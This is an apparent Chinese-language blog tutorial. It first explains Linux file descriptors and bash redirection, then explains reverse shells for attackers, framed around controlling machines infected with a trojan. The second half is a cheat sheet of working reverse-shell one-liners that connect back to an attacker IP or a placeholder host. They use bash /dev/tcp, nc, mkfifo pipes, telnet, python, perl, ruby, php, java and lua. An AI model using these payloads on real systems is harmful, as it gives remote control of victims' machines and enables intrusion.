文件描述符

linux文件描述符:可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。其中,

  • 0对应stdin,也就是标准输入
  • 1对应stdout,也就是标准输出
  • 2对应stderr,也就是标准错误

重定向

输入重定向

格式: [n]<word

说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)

例如: cat 0<file或者cat<file代表输入重定向到file文件,用cat查看时,从标准输入读取内容,也就是读取了file文件内容

输出重定向

格式: [n]>word

说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)

例如: echo hello 1>file或者echo hello >fileecho的内容hello属于标准输出,它被重定向到file文件中

标准输出与标准错误输出重定向

格式: &> word 或 >& word

说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的,详细的介绍后面会有)

例如: mkdir &> filemkdir报错,由于标准错误被重定向到file文件,可以在file中看到报错内容

文件描述符的复制

格式: [n]<&[m] 或者 [n]>&[m] (这里所有字符之间不要有空格)

说明:

这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开 因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响) 这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

这里就可以用上面的例子作为演示,将错误和正确的输出都输入到文件中

mkdir > file 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的,详细的介绍后面会有)

  • 首先解析 >file

O_~M_JLGR30<code>F</code>GONU`K1_2.png

  • 然后解析2>&1

Y82_FSB2F5_MSY_4T96IIUG.png

这样标准输入和标准错误都在file文件中显示

mkdir 2>&1 >file

  • 首先解析器解析到 2>&1 image.png

  • 解析器再向后解析到 “>”

image.png

exec 绑定重定向

格式:exec [n] </> file/[n]

说明:2.1~2.4的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令

格式: [n]<>word

说明:以读写方式打开word指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入。

反弹shell的命令

reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

适用情况

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

某客户机中了你的网马,但是它在局域网内,你直接连接不了。 它的ip会动态改变,你不能持续控制。 由于防火墙等限制,对方机器只能发送请求,不能接收请求。 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

反弹shell命令

  • 攻击者ip: 192.168.146.129
  • 受害者ip: 192.168.146.128

攻击者机器执行nc -lvvp 2333 被攻击机器上执行bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

  • bash -i -i选项代表启动bash的交互shell
  • /dev/tcp是Linux中的一个特殊文件,打开这个文件就类似于发出了一个socket调用,/dev/tcp/ip/port建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

整个命令从左到右解析,对于前面的部分,bash -i > /dev/tcp/192.168.146.129/2333,此时文件描述符如下:

QQ截图20200819010826.png

此时在执行这条命令的受害者终端输入命令时,对应的输出结果会显示在攻击者ip192.168.146.129的终端上

/dev/tcp/host/port 其实是一个 bash 的 feature,由于是 bash的 feature,因此在别的 shell下就不能生效,所以需要注意使用shell类型。可以使用这个命令增强健壮性bash -c 'bash -i 1>&/dev/tcp/ip/port 2>&1 0>&1'

如果命令变成bash -i < /dev/tcp/192.168.146.129/2333,那么就是把受害者shell的输入重定向到192.168.146.129:2333,也就是攻击者shell输入命令变成stdin,在受害者终端输出结果。

为了使攻击者既能输入命令,也能接受到命令的输出结果,于是执行bash -i > /dev/tcp/192.168.146.129/2333 0>&1,这样文件描述符变成

image.png

也就是受害者shell的标准输入和标准输出都绑定到了192.168.146.129:2333

但是这样的话,受害者机器上还是可以看到攻击者的输入,为了解决这个问题,使用&>,使命令变成bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1

这个命令执行相当于如下文件描述符,我们把012都绑定到了攻击者shell

QQ截图20200819010826.png

等价命令bash -i >& /dev/tcp/192.168.146.129/2333 0>&1,其中bash -i >& /dev/tcp/192.168.146.129/2333把标准错误和标准输出都重定向到/dev/tcp/192.168.146.129/2333,而0>&1又把标准输入重定向到标准输出,也就是/dev/tcp/192.168.146.129/2333,于是实现了和上面的命令同样的效果

其他命令

另一种绑定

bash -i >& /dev/tcp/192.168.146.129/2333 <&2等价于bash -i >& /dev/tcp/192.168.146.129/2333 0<&2

image.png

使用exec

exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done

其中exec 5<>/dev/tcp/192.168.146.129/2333表示把文件描述符5重定向到/dev/tcp/192.168.146.129/2333,并且是读写方式 command|while read line do .....done原句是

while read line
dodone < file

从文件中依次读取每一行,将其赋值给 line 变量(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了),之后再在循环中对line进行操作。

而现在我们不是从file 文件中输入了,我们使用管道符对攻击者机器上输入的命令依次执行,并将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。

使用nc

攻击者执行nc -lvvp 2333 受害者执行nc -e /bin/sh 192.168.146.129 2333

如果是ubuntu默认安装的nc,是没有-e选项的,查看文档发现也有说明

QQ截图20200819010826.png

如果没有-e选项,可以使用如下语句

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f

mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

类似命令

mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe

telnet反弹

攻击者执行

nc -lvvp 4444
nc -lvvp 5555

受害者执行telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555

这样可以在4444处输入,在5555处获得输出结果,另一个版本rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p

这里也可以nc x.x.x.x 9999|/bin/bash|nc x.x.x.x 8888

其他语言的反弹shell

以下更换x.x.x.x和5555为自己的ip和port即可,python/java/php没问题,其他几个没用过不懂

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

perl

perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

或者

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

或者

ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

php

php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

java

public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"

参考链接